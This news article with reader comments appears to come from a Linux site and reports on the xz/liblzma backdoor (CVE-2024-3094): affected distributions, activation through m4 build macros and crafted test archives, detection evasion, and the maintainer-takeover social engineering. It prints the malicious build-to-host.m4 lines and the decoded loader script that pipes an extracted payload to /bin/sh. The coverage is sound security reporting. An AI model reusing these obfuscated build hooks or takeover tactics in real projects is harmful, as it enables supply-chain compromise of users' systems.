LINUXTALKS.CO

В библиотеке xz/liblzma выявлен бэкдор, организующий вход через sshd

 , ,

L


0

2

В пакете XZ Utils, включающем библиотеку liblzma и утилиты для работы со сжатыми данными в формате ".xz", выявлен бэкдор (CVE-2024-3094), позволяющий перехватывать и модифицировать данные, обрабатываемые приложениями, связанными с библиотекой liblzma. Основной целью бэкдора является сервер OpenSSH, в некоторых дистрибутивах связанный с библиотекой libsystemd, которая, в свою очередь, использует liblzma. Связывание sshd с уязвимой библиотекой позволяет злоумышленникам получить доступ к SSH-серверу без аутентификации.


Бэкдор присутствовал в официальных выпусках xz 5.6.0 и 5.6.1, опубликованных 24 февраля и 9 марта, которые успели попасть в состав некоторых дистрибутивов и репозиториев, например, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide и 40-beta, openSUSE factory и tumbleweed, LibreELEC, Alpine edge, Solus, CRUX, Cygwin, MSYS2 mingw, HP-UX, Homebrew, KaOS, NixOS unstable, OpenIndiana, Parabola, PCLinuxOS, OpenMandriva cooker и rolling, pkgsrc current, Slackware current, Manjaro, Void Linux. Всем пользователям выпусков xz 5.6.0 и 5.6.1 рекомендуется срочно откатиться как минимум на версию 5.4.6, но желательно на 5.4.1, как последний выпуск, опубликованный прошлым сопровождающим.

Из сглаживающих проблему факторов можно отметить то, что версия liblzma c бэкдором не успела войти в состав стабильных выпусков крупных дистрибутивов, но затронула openSUSE Tumbleweed и Fedora 40-beta. Arch Linux и Gentoo использовали уязвимую версию xz, но не подвержены атаке, так как не применяют к OpenSSH патч для поддержки systemd-notify, приводящий к связыванию sshd к liblzma. Ubuntu и RHEL/CentOS не импортировали проблемные версии в свои репозитории. Бэкдор затрагивает только системы x86_64 на базе ядра Linux и Си-библиотеки Glibc, в которых sshd связывается с libsystemd для поддержки механизма sd_notify.

Код активации бэкдора был спрятан в m4-макросах из файла build-to-host.m4, используемого инструментарием automake при сборке. При сборке в ходе выполнения запутанных обфусцированных операций на основе архивов bad-3-corrupt_lzma2.xz и good-large_compressed.lzma, добавленных под предлогом использования в тестах корректности работы распаковщика, формировался объектный файл с вредоносным кодом, который включался в состав библиотеки liblzma и изменял логику работы некоторых её функций.

Активирующие бэкдор m4-макросы входили в состав tar-архивов релизов, но отсутствовали в Git-репозитории (были добавлены в .gitignore). При этом вредоносные тестовые архивы присутствовали в репозитории, т.е. внедривший бэкдор имел доступ как к репозиторию, так и к процессам формирования релизов. Более того, изначально файлы bad-3-corrupt_lzma2.xz и good-large_compressed.lzma были загружены 23 февраля перед релизом xz 5.6.0, а 9 марта обновлены перед релизом xz 5.6.1.

При использовании liblzma в приложениях вредоносные изменения могли использоваться для перехвата или модификации данных, а также для влияния на работу sshd. В частности, вредоносный код подменял функцию RSA_public_decrypt для обхода процесса аутентификации в sshd. Для неявного вызова и перехвата функций в бэкдоре применялся механизм IFUNC, присутствующий в Glibc. Бэкдор включал защиту от обнаружения и не проявлял себя при выставленных переменных окружения LANG и TERM (т.е. при запуске процесса в терминале) и не выставленных переменных окружения LD_DEBUG и LD_PROFILE, а активировался только при выполнении исполняемого файла /usr/sbin/sshd. В бэкдоре также имелись средства обнаружения запуска в отладочных окружениях.

В файле m4/build-to-host.m4 использовались конструкции

  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
...
  gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

В первой конструкции операция grep находила файл tests/files/bad-3-corrupt_lzma2.xz, при распаковке которого формировался сценарий, распаковывающий объектный файл из второго архива:
####Hello####
#345U211267$^D330^W
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 .... && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####

Каким образом злоумышленникам удалось получить доступ к инфраструктуре проекта xz пока до конца не выяснено, но по предварительным данным внедрение бэкдора осуществлено целенаправленно одним из активных разработчиков проекта xz. Так же пока не ясно как много пользователей и проектов были скомпрометированы в результате действия бэкдора. Предполагаемый автор бэкдора (JiaT75 - Jia Tan), разместивший в репозитории архивы с вредоносным кодом и затем их обновивший, переписывался с разработчиками Fedora и отправлял pull-запросы в Debian, связанные с переходом дистрибутивов на ветку xz 5.6.0. Разработчик Jia Tan не вызвал подозрений, так как участвовал в разработке xz, имел статус «co-maintainer» на протяжении последних двух лет, выпускал релизы начиная с xz 5.4.2 и являлся вторым участником проекта по числу внесённых изменений. Помимо проекта xz предполагаемый автор бэкдора также участвовал в разработке пакетов xz-java и xz-embedded. Более того, Jia Tan несколько дней назад был включён в число мэйнтейнеров проекта XZ Embedded, используемого в ядре Linux.

Вредоносное изменение было выявлено после анализа излишнего потребления CPU и ошибок, выдаваемых valgrind, при подключении через ssh к системам на базе Debian sid. Примечательно, что в релиз xz 5.6.1 были включены изменения, подготовленные предполагаемым автором бэкдора в ответ на жалобы о замедлении работы и сбоях sshd, возникшие после обновления до версии xz 5.6.0 с бэкдором. Кроме того, в прошлом году Jia Tan внёс изменения, несовместимые с режимом проверки "-fsanitize=address", что привело к его отключению при fuzzing-тестировании.

Дополнение 1: GitHub полностью заблокировал репозитории xz, xz-java и xz-embedded, которые теперь недоступны для анализа и загрузки прошлых версий. Также заблокирован официальный сайт проекта xz.tukaani.org. На archive.org и сайте проекта осталась последняя рабочая копия.

Дополнение 2: В 2021 году Jia Tan передал изменение в проект libarchive и добился замены вызова safe_fprintf на небезопасный fprintf (несколько часов назад изменение было отменено).

>>> Подробности

★★★★★★★★★★

Проверено: cocucka ()

На опеннете ещё продолжение написали

Предположительно бэкдор в пакет xz был внедрён разработчиком Jia Tan, который в 2022 году получил статус сопровождающего и выпускал релизы начиная с версии 5.4.2. Помимо проекта xz предполагаемый автор бэкдора также участвовал в разработке пакетов xz-java и xz-embedded, и был включён в число мэйнтейнеров проекта XZ Embedded, используемого в ядре Linux.

В организации продвижения бэкдора также замечены ещё два участника - Jigar Kumar и Hans Jansen, которые, судя по всему, являются виртуальными персонажами. Jigar Kumar в апреле 2022 года способствовал принятию в xz ранних патчей Jia Tan c реализацией поддержки строковых фильтров и оказывал моральное давление на Lasse Collin, тогдашнего сопровождающего, критикуя, что он не способен выполнять свои обязанности и не принимает полезные патчи. В июне Lasse Collin согласился, что проекту нужен новый сопровождающий, посетовал на выгорание и проблемы с психическим здоровьем, и передал право мэйнтейнера Jia Tan. После этого пользователь Jigar Kumar больше не появлялся в рассылке.

Получив права мэйнтейнера Jia Tan стал активно добавлять изменения в проект и по статистике за два года занял второе место среди разработчиков по числу изменений. В марте 2023 года ответственный за тестирование пакета xz в сервисе oss-fuzz был заменён с Lasse Collin на Jia Tan, а в июне в состав xz были приняты изменения, добавляющие в liblzma поддержку механизма IFUNC (конструктор crc64_fast был заменён на ifunc), который позднее был задействован для организации перехвата функций в бэкдоре. Изменение предложил Hans Jansen, а Jia Tan принял его в состав xz. Учётная запись Hans Jansen была создана непосредственно перед отправкой pull-запроса.

В июле 2023 года Jia Tan отправил разработчикам oss-fuzz запрос на отключение проверки ifunc из-за его несовместимости с режимом "-fsanitize=address". В начале февраля 2024 года ссылка на сайт проекта в oss-fuzz и на главной странице tukaani.org была изменена с «tukaani.org/xz/» на «xz.tukaani.org», где поддомен «xz.tukaani.org» размещался в сервисе GitHub Pages и контролировался лично Jia Tan. 23 февраля в репозитории xz были размещены архивы для тестирования работы декодировщика, среди которых были файлы bad-3-corrupt_lzma2.xz и good-large_compressed.lzma со скрытым бэкдором. M4-макросы для активации бэкдора были включены только в tar-архив с релизом 5.6.0 и были исключены из Git-репозитория, но засветились в файле .gitignore.

17 марта Hans Jansen, разработавший ранее патчи с поддержкой IFUNC, был зарегистрирован в качестве участника проекта Debian, а 25 марта им был отправлен запрос на обновление версии пакета xz-utils в репозитории Debian. Запросы на обновление версии также поступили разработчикам Fedora и Ubuntu (в Ubuntu репозиторий был на стадии заморозки и изменение было отклонено).

К просьбам обновить версию xz также присоединились некоторые пользователи, заявлявшие, что в новой версии устранены мешающие работе сбои, выявляемые при отладке в valgrind (проблемы возникали из-за некорректного определения раскладки стека в обработчике бэкдора и эти проблемы разработчики бэкдора постарались устранить в версии xz 5.6.1). Сбоем также заинтересовался Andres Freund, сотрудник Microsoft, участвующий в разработке PostgreSQL, который выявил наличие бэкдора и оповестил об этом сообщество.

TheAnonymous    
★★★★★★★★★★
Linux / Firefox (RU)
[crypt /witch /home/crypt $ xz --version
xz (XZ Utils) 5.4.5
liblzma 5.4.5
[crypt /witch /home/crypt $ freebsd-version 
13.3-RELEASE

сижу, жую попкорн


Если вы не хотите видеть это сообщение, пните мою свинью, чтобы она откатила патчи с персональными санкциями.
После последних приколов @cocucka я игнорю на стороне браузера. То есть вы уведомление не получаете, но я вас игнорю, как обычно.

crypt    
★★☆☆☆
FreeBSD / Chrome (GB)
Ответ на: комментарий от TheAnonymous

вообще атака классная. респект китайцам.


Если вы не хотите видеть это сообщение, пните мою свинью, чтобы она откатила патчи с персональными санкциями.
После последних приколов @cocucka я игнорю на стороне браузера. То есть вы уведомление не получаете, но я вас игнорю, как обычно.

crypt    
★★☆☆☆
FreeBSD / Chrome (GB)
Ответ на: комментарий от crypt

Спалились рано. По сути, как я понимаю, подвержены оказались только бета-версии федоры, opensuse и дебиана. Если бы в релиз попало, хотя бы fedora 40, который уже скоро, было бы эпичнее

TheAnonymous    
★★★★★★★★★★
Linux / Firefox (RU)
Ответ на: комментарий от TheAnonymous

что характерно на лоре @intelfx не пишет, что уязвимость ssh осуществляется через связывание с systemd. это вообще лол. он сам принес эту новость, но не озвучил последствия. жаль, меня там нет, чтобы сказать ему, что я предупреждал.

https://www.linux.org.ru/news/security/17567724


Если вы не хотите видеть это сообщение, пните мою свинью, чтобы она откатила патчи с персональными санкциями.
После последних приколов @cocucka я игнорю на стороне браузера. То есть вы уведомление не получаете, но я вас игнорю, как обычно.

crypt    
★★☆☆☆
Последнее исправление: crypt (всего исправлений: 1)

FreeBSD / Chrome (GB)
Ответ на: комментарий от TheAnonymous

Спалились рано.

согласен, хотя работа проделана качественная. говорят из-за тормозов спалились… но с чего вдруг этот бекдор тормозной.

Примечательно, что в релиз xz 5.6.1 были включены изменения, подготовленные предполагаемым автором бэкдора в ответ на жалобы о замедлении работы и сбоях sshd, возникшие после обновления до версии xz 5.6.0 с бэкдором.

автор не мог, конечно, предвидеть всех багов, но должна же была там быть какая-то проверка, чтобы просто так не активировать бекдор и не тормозить.

Если бы в релиз попало, хотя бы fedora 40

федора-то как раз роли не играет. убунту - вот главный процент на хостингах.


Если вы не хотите видеть это сообщение, пните мою свинью, чтобы она откатила патчи с персональными санкциями.
После последних приколов @cocucka я игнорю на стороне браузера. То есть вы уведомление не получаете, но я вас игнорю, как обычно.

crypt    
★★☆☆☆
Последнее исправление: crypt (всего исправлений: 2)

FreeBSD / Chrome (GB)
Ответ на: комментарий от crypt

сижу, жую попкорн

Ну смотри, судя по номеру версии к вам бздунам версия с бэкдором должна была попасть быстрее.

aleksa@debian:~$ xz --version
xz (XZ Utils) 5.4.1
liblzma 5.4.1
aleksa@debian:~$ cat /etc/debian_version
12.5
Aleksandra    
★★★★★
Linux / Firefox (UZ)
Ответ на: комментарий от Aleksandra

Как пояснили на лоре:

Бэкдор конкретно целится в sshd, который не линкуется с liblzma напрямую, а потому единственный способ — через systemd, которого на *BSD быть не может, так как завязано оно на исключительно линуксовых фичах ядра — cgroups2.

cocucka    
★★★★★★★★★★
iPhone / Firefox (NL)
Ответ на: комментарий от Aleksandra

Да у него проблемы с синхронизацией между личностями. Крипт-параноик не слишком разбирается в администрировании, а крипт-одмин в отпуске.

cocucka    
★★★★★★★★★★
Linux / Firefox (NL)
Ответ на: комментарий от odalist

Ты же сам таким пользуешься. В апстримном sshd ничего такого нет, линковка к liblzma происходила из-за дебиановского патча. В арче например этот бекдор не работает.

Werenter    
★★
Android / Firefox (RU)